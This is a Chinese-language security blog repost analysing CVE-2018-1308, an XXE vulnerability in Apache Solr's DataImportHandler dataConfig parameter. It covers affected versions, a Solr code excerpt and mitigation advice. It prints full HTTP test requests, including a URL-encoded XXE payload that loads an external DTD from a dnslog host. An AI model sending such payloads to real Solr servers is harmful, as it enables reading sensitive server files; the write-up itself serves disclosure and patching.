Solr DIH dataConfig参数XXE漏洞

admin 2022年5月29日14:09:31评论20 views字数 2939阅读9分47秒阅读模式

别人的CVE,编号CVE-2018-1308。今天无意看到了,刚好有用Solr搭建过服务,所以来水一篇。

0x01 背景介绍

DataImportHandler主要用于从数据库抓取数据并创建索引,Solr搭建完毕,并将数据插入到MySQL等数据库之后,需要创建Core,并且对数据库中的数据生成索引,在生成索引的时候就会用到DIH。

在使用solr web控制台生成core索引的时候,dataConfig参数存在xxe漏洞,攻击者可以向服务端提交恶意的xml数据,利用恶意xml数据可以读取被攻击服务器的敏感文件、目录等。

漏洞影响版本:

Solr 1.2 to 6.6.2

Solr 7.0.0 to 7.2.1

漏洞原文链接:

https://issues.apache.org/jira/browse/SOLR-11971

http://seclists.org/oss-sec/2018/q2/22

0x02 漏洞测试

1、打开Solr Admin控制台;

2、选择创建好的core,然后点击DataImport功能;

3、点击”Execute“的时候,进行抓包,可以获取Dataimport的具体请求。

也可以直接访问功能入口Url:

http://www.nxadmin.com/solr/#/corename/dataimport

以solr 6.0.1为例,抓包获取的测试请求如下:

POST /corename/dataimport?_=1531279910257&indent=on&wt=json HTTP/1.1 Host: 61.113.214.108:9983 Content-Length: 282 Accept: application/json, text/plain, */* Origin: http://www.nxadmin.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36 Content-type: application/x-www-form-urlencoded Referer: http://www.nxadmin.com/solr/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close  command=full-import&verbose=false&clean=false&commit=false&optimize=false&core=xxetest

默认请求中是不存在漏洞参数dataConfig的,使用的是配置文件的方式data-config.xml中包含了mysql数据库的连接配置,以及需要生成索引的表的字段等信息。有关请求中非默认参数的相关代码片段:

package org.apache.solr.handler.dataimport; ...... public class RequestInfo {   private final String command;   private final boolean debug;     private final boolean syncMode;   private final boolean commit;    private final boolean optimize;   ......   private final String configFile;   private final String dataConfig;    public RequestInfo(SolrQueryRequest request, Map<String,Object> requestParams, ContentStream stream) {      ......        String dataConfigParam = (String) requestParams.get("dataConfig");     if (dataConfigParam != null && dataConfigParam.trim().length() == 0) {       //如果dataConfig参数的值为空,将该参数置为null       dataConfigParam = null;     }     dataConfig = dataConfigParam;       ......      public String getDataConfig() {     return dataConfig;   }     ......   }

使用如上请求,可以自行添加dataConfig参数,因此具体的漏洞测试请求如下;

POST /corename/dataimport?_=1531279910257&indent=on&wt=json HTTP/1.1 Host: 61.113.214.100:9983 Content-Length: 282 Accept: application/json, text/plain, */* Origin: http://www.nxadmin.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36 Content-type: application/x-www-form-urlencoded Referer: http://www.nxadmin.com/solr/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close  command=full-import&verbose=false&clean=false&commit=false&optimize=false&core=xxetest&dataConfig=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E %3C!DOCTYPE+root+%5B%3C!ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2Fsolrxxe.8ug564.ceye.io%2Fftp_xxe.xml%22%3E%25remote%3B%5D%3E

以上是漏洞作者提供的测试payload,使用dnslog的方式证明漏洞存在,如图:

Solr DIH dataConfig参数XXE漏洞

0x03 修复建议&缓解措施

1、升级到6.6.3或7.3版本;

2、或者将solr Admin控制台放到内网;

3、以6.0.1为例,可以为控制台增加401认证方式,6.0.1默认是没有授权认证的,匿名用户可直接访问管理控制台,需要单独配置增加401认证。在配置的时候需要注意,涉及到的主要功能请求URL都需要进行401认证,否则有可能会被攻击者直接访问功能请求来绕过401认证。

原文始发于微信公众号(毕方安全实验室):Solr DIH dataConfig参数XXE漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月29日14:09:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Solr DIH dataConfig参数XXE漏洞http://cn-sec.com/archives/901455.html

发表评论

匿名网友 填写信息